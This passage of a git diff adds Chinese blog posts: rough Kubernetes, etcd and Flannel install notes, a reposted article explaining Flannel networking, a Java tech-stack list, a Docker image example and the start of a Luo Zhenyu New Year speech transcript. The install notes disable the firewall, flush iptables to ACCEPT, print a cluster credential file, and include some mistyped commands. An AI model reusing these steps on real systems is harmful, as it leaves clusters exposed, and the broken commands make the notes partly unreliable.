firewalld.service +systemctl disable firewalld.service +yum install iptables-services +service iptables start +service iptables stop +``` + +# 挂载硬盘 + +```shell +echo /dev/vdb1 /mnt ext3 defaults 0 0 >> /etc/fstab +mount /dev/vdb1 /mnt +df -hl +``` + +# 安装步骤 + +```shell +yum install jq + +./install-docker.sh docker-18.06.1-ce.tgz + +docker run -it hello-world +docker ps + +./install-etcd.sh etcd-v3.3.9-linux-amd64.tar.gz 01 172.17.116.249 172.17.116.249 172.17.116.250 172.17.116.251 +./install-etcd.sh etcd-v3.3.9-linux-amd64.tar.gz 02 172.17.116.250 172.17.116.249 172.17.116.250 172.17.116.251 +./install-etcd.sh etcd-v3.3.9-linux-amd64.tar.gz 03 172.17.116.251 172.17.116.249 172.17.116.250 172.17.116.251 + +./start-etcd.sh +systemctl start etcd +source /etc/profile +etcdctl cluster-health + +docker load -i k8s-images.tar.gz + +./install-k8s.sh kubernetes-server-linux-amd64.tar.gz 172.17.116.249 172.17.116.249 +./install-k8s.sh kubernetes-server-linux-amd64.tar.gz 172.17.116.250 172.17.116.249 +./install-k8s.sh kubernetes-server-linux-amd64.tar.gz 172.17.116.251 172.17.116.249 + +kubectl get nodes +cat /root/.kube/config + +ifconfig + +./install-flannel.sh flannel-v0.7.1-linux-amd64.tar.gz 172.17.116.249 172.17.116.249 eth0 +./install-flannel.sh flannel-v0.7.1-linux-amd64.tar.gz 172.17.116.250 172.17.116.249 eth0 +./install-flannel.sh flannel-v0.7.1-linux-amd64.tar.gz 172.17.116.251 172.17.116.249 eth0 +ifconfig + +etcdctl ls +etcdctl ls /atomic.io/network +etcdctl ls /atomic.io/network/subnets +etcdctl get /atomic.io/network/subnets/192.168.3.0-24 + + +yum -y install nfs-utils +./setUpNFS.sh + +cat /etc/exports +./setUpNFS.sh /var/vols/test + +kubectl get svc +watch kubectl get pods --all-namespaces -o wide + +kubectl create ns core +kubectl get ns + +kubectl create -f kube-dns.yaml +kubectl get pod -n core +kubectl get svc -n core + +kubectl create -f pv-pvc.yaml +kubectl get pv -o json | jq -r '.items[].spec.nfs.server' +kubectl get pvc -n core +kubectl get svc -n core + +kubectl create -f kube-registry-proxy.yaml +kubectl get ep -n core + +kubectl label node 172.17.116.249 nodetype=master +kubectl create -f registry-with-volume.yaml + +kubectl get node +kubectl get node 172.17.116.249 -o json | jq + +iptables -P INPUT ACCEPT +iptables -P FORWARD ACCEPT +iptables -F +iptables -L -n + +kubectl exec -it kube-registry-proxy-lnthx -n core sh +ping kube-dns.cluster.local + +kubectl describe pod kube-registry-ccc98dc-tljxz -n core + +docker images +docker push localhost:5000/centos + +---day3 + +curl -v http://localhost:5000/v2/_catalog +curl http://localhost:5000/v2/_catalog + +kubectl log + +http://16.187.191.76:8080/api/v1/namespaces/core/services/https:kubernetes-dashboard:/proxy + +http://16.187.191.76:8080/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/ + +http://127.0.0.1:8080/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/ + +从aliyun配置链接串， ./kube/config + +kubectl get pods --all-namespaces + +hostname -i + +kubectl create ns core + +kubectl create -f pv-pvc.yaml + +kubectl create -f kube-registry.yaml + +watch kubectl get pods -n core -o wide + +kubectl create -f kube-registry-proxy.yaml + +kubectl crate secret docker -registry regsecret +-- docker-server=registry.cn-shanghai.aliyuncs.com -- docker-username=username + +systemctl daemon-reload +systemctl restart kubelet +``` \ No newline at end of file diff --git a/_posts/2018-12-24-329-flannel.md b/_posts/2018-12-24-329-flannel.md new file mode 100644 index 0000000..cc3f710 --- /dev/null +++ b/_posts/2018-12-24-329-flannel.md @@ -0,0 +1,188 @@ +--- +layout: post +title: DockOne技术分享（十八）：一篇文章带你了解Flannel +pid: 329 +tags: [k8s] +--- + +# 第一部分：Flannel介绍 + +Flannel是CoreOS团队针对Kubernetes设计的一个网络规划服务，简单来说，它的功能是让集群中的不同节点主机创建的Docker容器都具有全集群唯一的虚拟IP地址。 + +在Kubernetes的网络模型中，假设了每个物理节点应该具备一段“属于同一个内网IP段内”的“专用的子网IP”。例如： + ++ 节点A：10.0.1.0/24 ++ 节点B：10.0.2.0/24 ++ 节点C：10.0.3.0/24 + +但在默认的Docker配置中，每个节点上的Docker服务会分别负责所在节点容器的IP分配。这样导致的一个问题是，不同节点上容器可能获得相同的内外IP地址。并使这些容器之间能够之间通过IP地址相互找到，也就是相互ping通。 + +Flannel的设计目的就是为集群中的所有节点重新规划IP地址的使用规则，从而使得不同节点上的容器能够获得“同属一个内网”且”不重复的”IP地址，并让属于不同节点上的容器能够直接通过内网IP通信。 + +# 第二部分：Flannel的工作原理 + +Flannel实质上是一种“覆盖网络(overlay network)”，也就是将TCP数据包装在另一种网络包里面进行路由转发和通信，目前已经支持UDP、VxLAN、AWS VPC和GCE路由等数据转发方式。 + +默认的节点间数据通信方式是UDP转发，在Flannel的GitHub页面有如下的一张原理图： + +![](/uploads/2018/12/24-01.png) + +这张图的信息量很全，下面简单的解读一下。 + +数据从源容器中发出后，经由所在主机的docker0虚拟网卡转发到flannel0虚拟网卡，这是个P2P的虚拟网卡，flanneld服务监听在网卡的另外一端。 + +Flannel通过Etcd服务维护了一张节点间的路由表，在稍后的配置部分我们会介绍其中的内容。 + +源主机的flanneld服务将原本的数据内容UDP封装后根据自己的路由表投递给目的节点的flanneld服务，数据到达以后被解包，然后直接进入目的节点的flannel0虚拟网卡，然后被转发到目的主机的docker0虚拟网卡，最后就像本机容器通信一下的有docker0路由到达目标容器。 + +这样整个数据包的传递就完成了，这里需要解释三个问题。 + +第一个问题，UDP封装是怎么一回事？ + +我们来看下面这个图，这是在其中一个通信节点上抓取到的ping命令通信数据包。可以看到在UDP的数据内容部分其实是另一个ICMP（也就是ping命令）的数据包。 + +![](/uploads/2018/12/24-02.png) + +原始数据是在起始节点的Flannel服务上进行UDP封装的，投递到目的节点后就被另一端的Flannel服务还原成了原始的数据包，两边的Docker服务都感觉不到这个过程的存在。 + +第二个问题，为什么每个节点上的Docker会使用不同的IP地址段？ + +这个事情看起来很诡异，但真相十分简单。其实只是单纯的因为Flannel通过Etcd分配了每个节点可用的IP地址段后，偷偷的修改了Docker的启动参数，见下图。 + +![](/uploads/2018/12/24-03.png) + +这个是在运行了Flannel服务的节点上查看到的Docker服务进程运行参数。 + +注意其中的“--bip=172.17.18.1/24”这个参数，它限制了所在节点容器获得的IP范围。 + +这个IP范围是由Flannel自动分配的，由Flannel通过保存在Etcd服务中的记录确保它们不会重复。 + +第三个问题，为什么在发送节点上的数据会从docker0路由到flannel0虚拟网卡，在目的节点会从flannel0路由到docker0虚拟网卡？ + +我们来看一眼安装了Flannel的节点上的路由表。下面是数据发送节点的路由表： + +![](/uploads/2018/12/24-04.png) + +这个是数据接收节点的路由表： + +![](/uploads/2018/12/24-05.png) + +例如现在有一个数据包要从IP为172.17.18.2的容器发到IP为172.17.46.2的容器。根据数据发送节点的路由表，它只与172.17.0.0/16匹配这条记录匹配，因此数据从docker0出来以后就被投递到了flannel0。同理在目标节点，由于投递的地址是一个容器，因此目的地址一定会落在docker0对于的172.17.46.0/24这个记录上，自然的被投递到了docker0网卡。 + +# 第三部分：Flannel的安装和配置 + +Flannel是Golang编写的程序，因此的安装十分简单。 + +从https://github.com/coreos/flannel/releases和https://github.com/coreos/etcd/releases分别下载Flannel和Etcd的最新版本二进制包。 + +解压后将Flannel的二进制文件“flanneld”和脚本文件“mk-docker-opts.sh”、以及Etcd的二进制文件“etcd”和“etcdctl”放到系统的PATH目录下面安装就算完成了。 + +配置部分要复杂一些。 + +首先启动Etcd，参考[https://github.com/coreos/etcd ... overy](https://github.com/coreos/etcd/blob/master/Documentation/clustering.md#etcd-discovery)。 + +访问这个地址：[https://discovery.etcd.io/new?size=3](https://discovery.etcd.io/new?size=3) 获得一个“Discovery地址” + +在每个节点上运行以下启动命令： + +```shell +etcd -initial-advertise-peer-urls http://<当前节点IP>:2380 -listen-peer-urls http://<当前节点IP>:2380 -listen-client-urls http://<当前节点IP>:2379,http://<当前节点IP>:2379 -advertise-client-urls http://<当前节点IP>:2379 -discovery <刚刚获得的Discovery地址> & +``` + +启动完Etcd以后，就可以配置Flannel了。 + +Flannel的配置信息全部在Etcd里面记录，往Etcd里面写入下面这个最简单的配置，只指定Flannel能用来分配给每个Docker节点的拟IP地址段： + +```shell +etcdctl set /coreos.com/network/config '{ "Network": "172.17.0.0/16" }' +``` + +然后在每个节点分别启动Flannel： + +```shell +flanneld & +``` + +最后需要给Docker动一点手脚，修改它的启动参数和docker0地址。 + +在每个节点上执行： + +```shell +sudo mk-docker-opts.sh -i +source /run/flannel/subnet.env +sudo rm /var/run/docker.pid +sudo ifconfig docker0 ${FLANNEL_SUBNET} +``` + +重启动一次Docker，这样配置就完成了。 + +现在在两个节点分别启动一个Docker容器，它们之间已经通过IP地址直接相互ping通了。 + +到此，整个Flannel集群也就正常运行了。 + +最后，前面反复提到过Flannel有一个保存在Etcd的路由表，可以在Etcd数据中找到这些路由记录，如下图。 + +![](/uploads/2018/12/24-06.png) + +# Q&A + +问：数据从源容器中发出后，经由所在主机的docker0虚拟网卡转发到flannel0虚拟网卡，这种P2P实际生产中是否存在丢包，或者此机制有高可用保障么？ + +答：只是本机的P2P网卡，没有经过外部网络，应该还比较稳定。但我这里没有具体数据。 + +问：UDP数据封装，转发的形式也是UDP么？我们一般知道UDP发送数据是无状态的，可靠么？ + +答：转发的是UDP，高并发数据流时候也许会有问题，我这里同样没有数据。 + +问：实际上，kubernates是淡化了容器ip，外围用户只需关注所调用的服务，并不关心具体的ip，这里fannel将IP分开且唯一，这样做有什么好处？有实际应用的业务场景么？ + +答： IP唯一是Kubernetes能够组网的条件之一，不把网络拉通后面的事情都不好整。 + +问：Flannel通过Etcd分配了每个节点可用的IP地址段后，偷偷的修改了Docker的启动参数：那么如果增加节点，或删除节点，这些地址段（ETCD上）会动态变化么？如果不是动态变化，会造成IP地址的浪费么？ + +答：会造成一些浪费，一般使用10.x.x.x的IP段。 + +问：sudo mk-docker-opts.sh -i 这个命令具体干什么了？非coreos上使用flannel有什么不同？ + +答：生成了一个Docker启动的环境变量文件，里面给Docker增加了启动参数。 +没有什么不同，只是CoreOS集成了Flannel，在CoreOS上面启动Flannel只是一行命令：systemctl start flanneld。 + +问：容器IP都是固定的吗？外网与物理主机能ping通，也能ping通所有Docker集群的容器IP？ + +答：不是固定的，IP分配还是Docker在做，Flannel只是分配了子网。 + +问：Flannel的能否实现VPN？你们有没有研究过？ + +答： 应该不能，它要求这些容器本来就在一个内网里面。 + +问：Flannl是谁开发的？全是对k8s的二次开发吗？ + +答： CoreOS公司，不是k8s的二次开发，独立的开源项目，给k8s提供基础网络环境。 + +问：Flannel支持非封包的纯转发吗？这样性能就不会有损失了？ + +答：非封装怎样路由呢？发出来的TCP包本身并没有在网络间路由的信息，别忘了，两个Flannel不是直连的，隔着普通的局域网络。 + +问： Flanel现在到哪个版本了，后续版本有什么侧重点？性能优化，还是功能扩展？ + +答：还没到1.0，在GitHub上面有他们的发展计划，性能是很大的一部分。 + +问： 就是在CoreOS中，客户还需要安装Flannel吗？ + +答：不需要，在启动的Cloudinit配置里面给Etcd写入Flannel配置，然后加上flanneld.service command: start 就可以了，启动完直接可用，文档连接我不找了，有这段配置，现成的。 + +问： 可不可以直接用命令指定每个主机的ip范围，然后做gre隧道实现节点之间的通信？这样也可以实现不同主机上的容器ip不同且可以相互通信吧？ + +答：还不支持指定哪个节点用那段IP，不过貌似可以在Etcd手改。 + +问： Flannel只是负责通信服务，那是不是还要安装k8s？ + +答：是的，k8s是单独的。 + +问：现在Docker的网络组件还有什么可以选择或者推荐的? + +答：Overlay网络的常用就是Flannel和Weave，其他OVS之类的另说了。 + +# 参考 + +[DockOne技术分享（十八）：一篇文章带你了解Flannel](http://dockone.io/article/618) \ No newline at end of file diff --git a/_posts/2018-12-24-330-rsTech.md b/_posts/2018-12-24-330-rsTech.md new file mode 100644 index 0000000..78e5120 --- /dev/null +++ b/_posts/2018-12-24-330-rsTech.md @@ -0,0 +1,63 @@ +--- +layout: post +title: JAVA项目技术相关 +pid: 330 +tags: [框架] +--- + +# 基础设施 + + + + + + + + + + + +
序号类别名称
01问题管理redmine
02持续集成jenkins
03代码管理gitlab
04基础框架rsframework
05操作系统linux
06私服nexus
07数据库oracle
08数据库sqlserver
+ +# 前端技术 + + + + + + + + + + + + + + + + + + + +
序号类别名称
01MVVM框架相关vue.js
02MVVM框架相关vue-router
03MVVM框架相关vuex
04数据请求axios
05VUE前端框架element-ui
06MVVM运行平台node.js
07打包工具webpack
08构建工具vue-cli
09CSS语法处理器stylus
10JS语法es6
11JS语法检测es lint
12百度地图baidu map
13百度图表echarts
14轮播图swiper
15富文本编辑器tinymce
16小程序转换框架mpvue
+ +# 后端技术 + + + + + + + + + + + + + + + + + + +
序号类别名称
01框架springboot
02权限控制shiro
03权限控制Json-Filter
04数据库访问mybatis-plus
05日志slf4j
06接口swagger, api doc
07接口API接口技术
08缓存guava
09缓存redis
10表格处理poi, easy-poi
11微信相关小程序
12微信相关微信公众号
13第三方支付杉德支付
14数据爬取OkHttp3 + HtmlCleaner
15发送短信邮件OkHttp3, Spring Mail Sender(SMTP, SSL)
\ No newline at end of file diff --git a/_posts/2018-12-28-331-dockerImg.md b/_posts/2018-12-28-331-dockerImg.md new file mode 100644 index 0000000..a3bda15 --- /dev/null +++ b/_posts/2018-12-28-331-dockerImg.md @@ -0,0 +1,47 @@ +--- +layout: post +title: Docker image 结构 +pid: 331 +tags: [docker] +--- + +file system + +```shell +. +├── app.py +└── Dockerfile +``` + +app.py + +```py +print("hello world") +``` + +Dockerfile + +```shell +FROM ubuntu:15.04 +COPY app.py /app +CMD python /app/app.py +``` + +Command + +```shell +docker build -t my_test_image . +docker save my_test_image > my_test_image +file my_test_image +mkdir unpacked_image +tar -xvf my_test_image -C unpacked_image +``` + + + + + +# 参考 + ++ [What's in a Docker image?](https://cameronlonsdale.com/2018/11/26/whats-in-a-docker-image/) ++ [dive](https://github.com/wagoodman/dive) \ No newline at end of file diff --git a/_posts/2019-01-02-332-luozhenyu.md b/_posts/2019-01-02-332-luozhenyu.md new file mode 100644 index 0000000..0ded7e5 --- /dev/null +++ b/_posts/2019-01-02-332-luozhenyu.md @@ -0,0 +1,1208 @@ +--- +layout: post +title: 罗振宇2018-2019跨年演讲 +pid: 332 +tags: [罗胖跨年演讲文稿] +--- + +![](/uploads/2019/01/02-01.jpg) + +2018年12月31日20:30，深圳“春茧”体育馆，罗振宇2018“时间的朋友”跨年演讲如约而至。 + +罗胖曾发下大愿望：跨年演讲要连办二十年。今年，是第四场，也是倒数第十七场。 + +在历时四个小时的演讲中，罗胖通过对过去一整年的回顾和未来的展望，连发“扎心五问”，最终揭示出—— + +*比起普通人无法把控的大趋势，真正能给所有人带来机会，从细微处引发大变化的，恰恰是我们身边的各种 “小趋势”。* + +以下是未删减演讲全文，与你分享。 + + +# 第一部分：开篇 + +## 1 + +我是从9月22日正式开始准备今年的跨年演讲。从那一天开始，我身边有一些朋友就在等着看我的笑话。他们说，看把你能的，还跨年演讲，看你今年怎么讲。 + +感谢各位的信任，你们还来听我讲。 + +这里是由7884名观众到场参与，深圳卫视、优酷全球直播，东风日产第七代天籁独家冠名赞助的《时间的朋友》跨年演讲。这是倒数第17场。你们又来了。岁月不饶人，你们确实没有饶过岁月。 + +2018年，我印象最深的一个时刻，是我听到了一位船长的故事： + +6月8日，这位船长驾驶着他的货船“飞马峰号”，从美国西雅图出发，目标中国大连。 + +我想象了一下，假如我是他，在拔锚起航的那一刻，我觉得跟以往的每次出航并没有什么不同。我非常有力量感。 + +我驾驶的这艘庞然大物，7万吨，船上的货全是大豆，价值2000万美元。在这艘船上，我就是国王，海洋是我的后花园，我制订航海计划，所有人都得听我的。 + +更重要的是，我会感觉，我这艘船就是全球化的象征。我的船东是摩根大通，船上挂着利比里亚国旗，船上的大豆属于阿姆斯特丹的农产品贸易公司，买家是中储粮。我的这段航程是国际贸易大循环中的一个典型片段。一切都在我的掌控当中。 + +其实我们现在都知道这艘船是谁。我们还在网上为它喊过话：“加油吧，大豆君！”它是中美贸易摩擦中最有戏剧性的一个片段。两个大国互相博弈，一会你加我关税，一会我加你关税。导致这么一艘船乱了方寸，一会要夺命狂奔，一会要原地打转。 + +这是7月9号到8月9号，大豆君“飞马峰号”的航行图，层层叠叠地画圈，等待命运给它新的信号。 + +![](/uploads/2019/01/02-02.jpg) + +这是2018年很多个体的一个缩影。等待信号，个体命运好像不由自己做主。就像万维钢老师马上要出的一本书的书名——*《你有你的计划，世界另有计划》*。 + +今年跨年演讲的所在地——深圳，我很喜欢，它对我有非常特别的意义：《时间的朋友》跨年演讲干完第一年，深圳卫视就来找我们谈直播合作。到今年为止，已经合作了三年。跨年演讲这个形态，之前电视上从来就没见过。从这一件事，就能看出深圳这座城市的大胆创新和变革精神。我非常喜欢深圳人，一直站在时代的潮头，用几十年的时间，把这座城市，从一无所有，建设成今天的样子。 + +2018年，深圳发生了多少大事啊。一些大公司干着干着突然遇到了危机，多少被公认有前途的行业，干着干着突然就遇到了拐点。甚至好多事和自己是咋干的没关系。 + +我们不操心行业和公司层面的事，就想想咱们自己。 + +我，一个靠谱白领，受过靠谱的教育，来到一座城市，加入一家有前途的公司。我买了房，成了家，是个典型的中产阶级的样子。在别人看起来，我是个体面人。我的脸上洋溢着自信，对于未来我有一整套规划。但2018年过来之后，我多多少少感觉到，所有那些曾经看起来坚固牢靠的东西后面，现在都需要打一个问号：*这个世界还会好吗？* + +> 以前，变化可能只是生活的一部分；现在，变化可能成了生活本身。 + +前年的跨年演讲，我们还在说有五只黑天鹅。今年何止五只黑天鹅？黑压压地飞过天空。 + +你想过没有，黑天鹅指的是一个熟悉世界里出现的意外情况，当黑天鹅一只又一只地从天上飞过的时候，也就不算什么意外了。正如一句俏皮话说的，现在黑天鹅都快成家禽了——一切正在起变化，熟悉的世界不在了。 + +## 2 + +2018年，我们告别了很多曾经熟悉的人。 + ++ 歌手桃乐丝、宜家创始人坎普拉德、国学大师饶宗颐、设计师纪梵希 ++ 科学家霍金、作家李敖、作家奈保尔、前联合国秘书长安南 ++ 相声演员常宝华和常贵田叔侄、小提琴家盛中国、评书艺术家单田芳 ++ 演员朱旭、科学家高锟、相声演员师胜杰 ++ 主持人李咏、作家金庸、演员蓝洁瑛、漫威之父斯坦·李 ++ 政治家老布什、科学家张首晟、作家二月河…… + +我们都曾经为他们哀悼过，时而还感慨：一个时代结束了。这种感慨在朋友圈里如此密集，以至于有人说：2018年，时代结束了太多次。 + +但只要我们的情绪稍微平复一些，我们就应该意识到一个事实：*其实并不是这一年故去的人特别多，而是我们这一代中国人，从40年前开始，才有机会知道很多人。*在我们的少年时代，大众媒体把他们推到了我们面前。他们成为我们理解这个世界的符号、原型、榜样、接口和拐杖。所以今年他们的离场，才对我们有这么大的冲击。 + +我们并不是在告别谁，我们是在告别自己的一部分。他们曾经结队成群、浩浩荡荡，他们曾经活色生香，陪伴我们这么久，今天他们的生命开始从茂盛走到凋零。这不是一件再正常不过的事情吗？ + +2018年，他们的离去提醒我们：我们必须习惯，这个世界抽换掉一些我们喜欢的、熟悉的东西。 + +所有正在看跨年演讲的人，虽然我们岁数各不相同，但其实都是同一代中国人，也就是“*改开一代*”。如果你觉得2018年有很多复杂的情绪，那正说明了，改开一代终于从青春期走到成年礼。*成年的滋味总是很复杂，熟悉的也许只能用来怀念，依赖的也许必须要放手。* + +## 3 + +过去40年中国最成功的公司之一——万科，在2018年的一次大会上，会场只挂满三个大字：“活下去！”虽然我不相信万科真的会活不下去，但这确实是它对自己生存焦虑的朴素表达。 + +有人在社交媒体上转发了这么一句话：“2019年可能会是过去十年里最差的一年，但却是未来十年里最好的一年。”我看到之后，就去问王兴，他是美团的创始人，也是我见过的最有见识的人之一。我发微信问他：“请问你认可这个段子吗？”王兴只回了我一个词：“no。”他不悲观。坦白说，我也不悲观。 + +跨年演讲进行到第四年，我们越来越想清楚了跨年演讲是为谁服务的：*为做事的人服务。做事的人无所谓悲观还是乐观，我们只关心如何把事做好。* + +做事的人和不做事的人，有啥区别？ + +不做事的人经常讨论一些抽象的问题：情感和理智哪个重要？理想和现实怎么能平衡？远方和苟且怎么选择？着眼未来和回到初心哪个更重要？你妈和我，你救谁？ + +就说最后这个问题，一个全世界男性共同面对的难题，叫“我·妈·水测试”。一个姑娘认真地问你：我和你妈同时掉到水里，你先救谁？你就说这个问题，难不难？烧脑不烧脑？好答不好答？想不想死？ + +如果我们就这个问题进行讨论，你站岸上三天三夜，也得不出一个让姑娘满意的答案。但是如果她俩真掉水里了，那问题就具体化了：是掉到游泳池里，还是掉到海里了？你离谁近？谁会游泳？旁边还有没有别人……所有在岸上讨论的假设马上会具体为硬邦邦的现实，这时候选择有什么难的？你会立即作出反应。而且你还会发现，让你做决定的那些因素，和你没事瞎讨论的那些因素没什么关系。 + +你看，做事的人和搞评论的人，完全在两个世界。有些事情在做事的人面前，完全不难。 + +再举一个例子。我们公司的脱不花，创业四年的同时，结了婚，还生了两个孩子。所以，经常有人问她：作为一个女性创业者，怎么平衡事业和家庭？这个问题，你抽象地摆在一个女性创业者面前，她是没法回答你的。这个问题的潜台词就是：你一个女性创业者要创业、顾家、养娃，根本搞不定。 + +但是，对于做事的人来说，对于脱不花来说，这个问题从来不会抽象地摆在她面前。摆在她面前的问题永远是：下午五点，孩子发烧，是接着开公司例会，还是赶紧回家？那肯定是赶紧回家啊。晚上八点正在家里吃饭，是陪家人吃完晚饭，还是回公司处理一个急事？对于创业者来说这还用选吗？肯定回公司啊。如果她觉得最近陪孩子时间少了，那就专门抽出一天来陪孩子呗。 + +你看，真实的世界里，并不存在抽象的两难选择。*每时每刻，我们做事的人面对的就是一张时间表，就是这张时间表上具体的时间安排而已。* + +## 4 + +在今年准备跨年演讲的过程中，很多人跟我说：罗胖，我知道你是个乐观主义者。今年那么多人悲观，你能不能借跨年演讲，给大家鼓鼓劲，打打气，说点乐观的话？ + +我说：我是个创业者，你可能搞错了乐观在创业者心中真实的位置。*乐观是我们这批人的性格底色，不乐观啥年头都没法做事。*评论家们分析环境，有的人说悲观，有的人说乐观，这些分析，哪个我都听，哪个我也不全信。我唯一关心的是，我手头的事上具体的难处。 + +所以，说好说坏，都只能是我们做事的背景音。 + +这些难处，好年景未必更少，坏年景也未必更多。这句话你听起来有点奇怪，薛兆丰老师打了个比方你一听就懂：“宏观好坏就像全球平均气温，你要是关心人类的命运，平均气温有价值。但是你今天要出门办个事，它真没啥用。” + +查理·芒格说了一句更精准的话：“宏观是我们必须接受的，微观才是我们可以有所作为的。” + +2018年是很难，但是我们做事的人都知道： 2018年难，哪一年不难？ + ++ 你去问一个创业者，哪一个决策不是如履薄冰？ ++ 你去问一个医生，哪一次诊断不是战战兢兢？ ++ 你去问一个设计师，哪一个甲方的要求是好伺候的？ ++ 你去问一个程序员，哪一个产品的需求是好实现的？ ++ 你去问一个老师，他带的哪一届班上没有几个难缠的孩子？ ++ 你来问问我，哪一年的跨年演讲是好准备的？和今年这个年头是什么情况有关系么？ + +对我们这些做事的人来说，什么时候不难？难就不干了吗？对那些不做事的人来说，难不难跟他又有什么关系？ + +*我们是伞兵，伞兵，天生就是被包围的。* + +一个做事的人，总要以某种方式确认自己在这个世界的存在。罗曼·罗兰有一句话：“*世界上只有一种真正的英雄主义，就是认清了生活的真相，还仍然热爱它*”。 + +既然这个世界另有计划，今晚就让我们重做计划。 + + +# 第二部分：小趋势 + +## 1 + +今晚的跨年演讲，我们只关注个人的行动策略，关注大环境里小个体的命运。就像诗人说的：“今夜我不关心人类，我只关心你。” + +过去几十年，我们这一代人的行动策略是什么？随大流啊。就拿我自己来说，都说上大学重要，那就好好学；都说读研究生重要，那我就接着考；都说大公司好，我就努力进500强。我们这一代人，只要身处在中国经济发展的大趋势中，跟着大趋势走，基本不会有错，整个国家发展的红利人人有份。 + +过去几十年，我们这一代人有一个底层思维模式：宁可被说成是猪，也一定要挤在风口。即使看到千军万马，也一定要走上那座独木桥。 + +感谢2018年，让我们有机会反思。我们还能抓住某个大趋势、随大流、凑热闹，然后鲤鱼跳龙门、一劳永逸吗？我们还可以拿着一张通用的入场券，叩开某一个大门，然后从此躺着分享里面的红利吗？2018年我们知道，那个时代再也不在了。 + +整整100天前，我们发布了今年跨年演讲的主题：小趋势。对小趋势最简单的理解就是不能随大流。请大家看看这三个字——“小趋势”。我判断，这个词会成为2019年的流行词。*因为一张通票吃遍天的潮流结束了，我们必须学会用新的方法，找到小趋势。* + +## 2 + +什么是小趋势呢？ + +有一次，跟投资人李丰吃饭，他问了我一个问题：你有没有发现，这两年餐饮业突然出现很多明星公司，能拿到大资本的投资，餐馆也开始上市了。这是为啥？ + +我说，这不就是个大趋势吗？是不是因为中央厨房、餐饮标准化这些建设开花结果？是不是因为中国的城市化、消费升级了？ + +李丰说，是有这些原因，但还有一个，你想到没有？他说出了一个我从来没想过的因素：移动支付。 + +为什么餐饮业原来没有资本投资、上不了市？因为一家餐馆的收入真实性不可核查。进多少货、收多少钱，全是现金交易。如果不可核查，对整个市场就建立不起信用。那它就不可能成为资本市场上的玩家。好了，现在有了移动支付，它对餐馆的意义不是顾客支付方便，而是让餐馆的每一笔收入都可追溯、可核查、有信用，这个信用还可以扩张到整个资本市场，让大家都加入到这局游戏中。 + +你想，这个游戏可不仅是撬动了餐饮业，所有行业一旦用上了移动支付，就变成了另一个东西。猫眼的老板郑志昊跟我说：“移动支付是很多行业信用的数据化基石。” + +还有，因为移动支付，餐饮业开始清晰地知道，我这家餐馆，什么样的人喜欢在什么时间点吃什么样的菜，我应该在一周的什么时间，备什么样的货。即使是一家不想上市的小餐厅，也可以借用数据来持续自我优化。 + +正是因为移动支付带来的红利，餐饮业也可以资本化，也可以上市了。 + +你看，刚才我们说的城市化、中央厨房、消费升级这三个因素，就在餐饮业里，它们是人人看得到的大趋势。而移动支付呢？虽然它很大，但因为它不发生在我的行业里，我觉得它与我无关，容易被我忽略，但它对我的影响和改造是巨大的。它是其他人的大趋势，但却是我的小趋势。 + +这段道理对于一个不干餐饮的人来说，可能有点意思。但是，我们应该往下深想一层。 + +我们再来回顾一下这个逻辑，你会发现推动变化的是来自隔壁的力量： + ++ 餐饮公司能上市，是因为可以通过开分店、做外卖迅速扩大规模，增强盈利能力； ++ 为啥能扩大规模呢？因为资本愿意加入这局游戏了； ++ 那为什么资本突然间愿意上牌桌了呢？因为餐饮业现在账目清楚、摆脱现金交易了； ++ 那为什么账目能清楚了呢？因为移动支付。 + +这是一个链条，你要是想往前捯，依然可以问：为什么移动支付会爆发呢？因为4G网络普及了。好了，不能再往前捯了，再捯脑子就乱了。 + +从后往前看一切顺理成章，但是如果回到这些事情发生的现场，我们真的能预测接下来会发生什么事么？*那些会导致变化的力量，往往都是来自其他领域，来自那些我们平时观测不到的因素。*它们才会对我们这个领域，产生意料之外的影响。 + +假如我是一个餐馆老板，我们穿越回2013年底。确实，我听说国家发4G牌照了，我最多能想象到，手机看视频更方便了，我怎么能想到这玩意通过移动支付、通过大数据，对我这个行业产生了那么大的影响呢？ + +![](/uploads/2019/01/02-03.jpg) + +你还别觉得这是因为我智力低，现在一道智力测试题就摆在我们每个人面前。4G时代快要过去了，现在5G要来了。所有人都知道，这将会引发一系列大变化。请你预测一下，这对你所在的行业，会产生怎样的影响？ + +这是公平的吧？这是清空台面，再来一局啊。你还是会发现，虚着说谁都会，一到具体谁都懵。这不是谁的智力不行吧？人类在这样的变化面前，实际上就是无法做到精准预测。 + +过去是大河模型，世界大势浩浩汤汤，顺之者昌逆之者亡。我们判断的方向对，搭上的船对，顺流而下就行。 + +*而现在，我们可能有必要把世界理解成一组多米诺骨牌，它摆成什么样不知道。*但是只要有一个小小的颤动，哪怕是一只路过的蚂蚁碰倒了一张牌，一个极小的趋势，那么抖动了一下，就推动了一个大一点的趋势，接着又会推动一个更大的趋势，经过一连串的连锁反应，等推到我们面前的时候，已经面目全非，而且还变成了个庞然大物。每一张牌倒下的时候，我们都很难预测，它会推倒什么？放大什么？又会消灭什么？最终的景象又是什么？ + +好了，我们终于明白小趋势这个难缠的妖精是啥了。 + +*第一，它小，所以很难察觉。第二，它不发生在我熟悉的领域里，它是通过一系列的连锁反应才滚动到我面前。* + +所以，你说我们怎么预测它？ + +## 3 + +这不是今天才发生的事，这个世界一直都这样，你很难预测小趋势。我举一个很不起眼的例子。 + +跨年演讲的总撰稿李翔，他自称是个“猫奴”。这就是他们家的猫——可乐和雪碧。 + +他告诉了我一件很有意思的事：*《商业周刊》曾经把猫砂评选为世界上最重要的发明之一。*奇怪，不就是个猫砂嘛。猫砂是干嘛的？就是垫在猫的便盆里的那层砂。猫拉了臭臭之后扒拉两下，猫砂能够迅速吸水，然后结团，很容易被清理走。就这么个东西，它怎么就能被称为最重要的发明之一？ + +我们来看，这个奇妙的多米诺骨牌被推动的过程。 + +1947年，猫砂被发明。然后，大家发现，有了这个东西，猫的臭臭就不会在室内产生异味了。这带来了一个什么后果？后果是，猫就可以一直养在室内，猫可以不出门了。 + +紧接着，就是城市化浪潮的到来，人和宠物的关系出现了微妙的变化。人类主要的宠物就是猫和狗嘛。狗被人类驯化至少几十万年了，跟我们是老交情了。而猫被人类驯化不到一万年，是个新朋友。人一旦进了城，你会发现狗这个老朋友不容易带过去。狗是需要出去遛的，城市里哪里有那么多可以遛狗的地方。而因为猫砂，猫是可以养在室内的。所以你看仅仅猫砂发明这一个小趋势，就让猫这个物种的优势，在城市化的大趋势下，突然被放大。 + 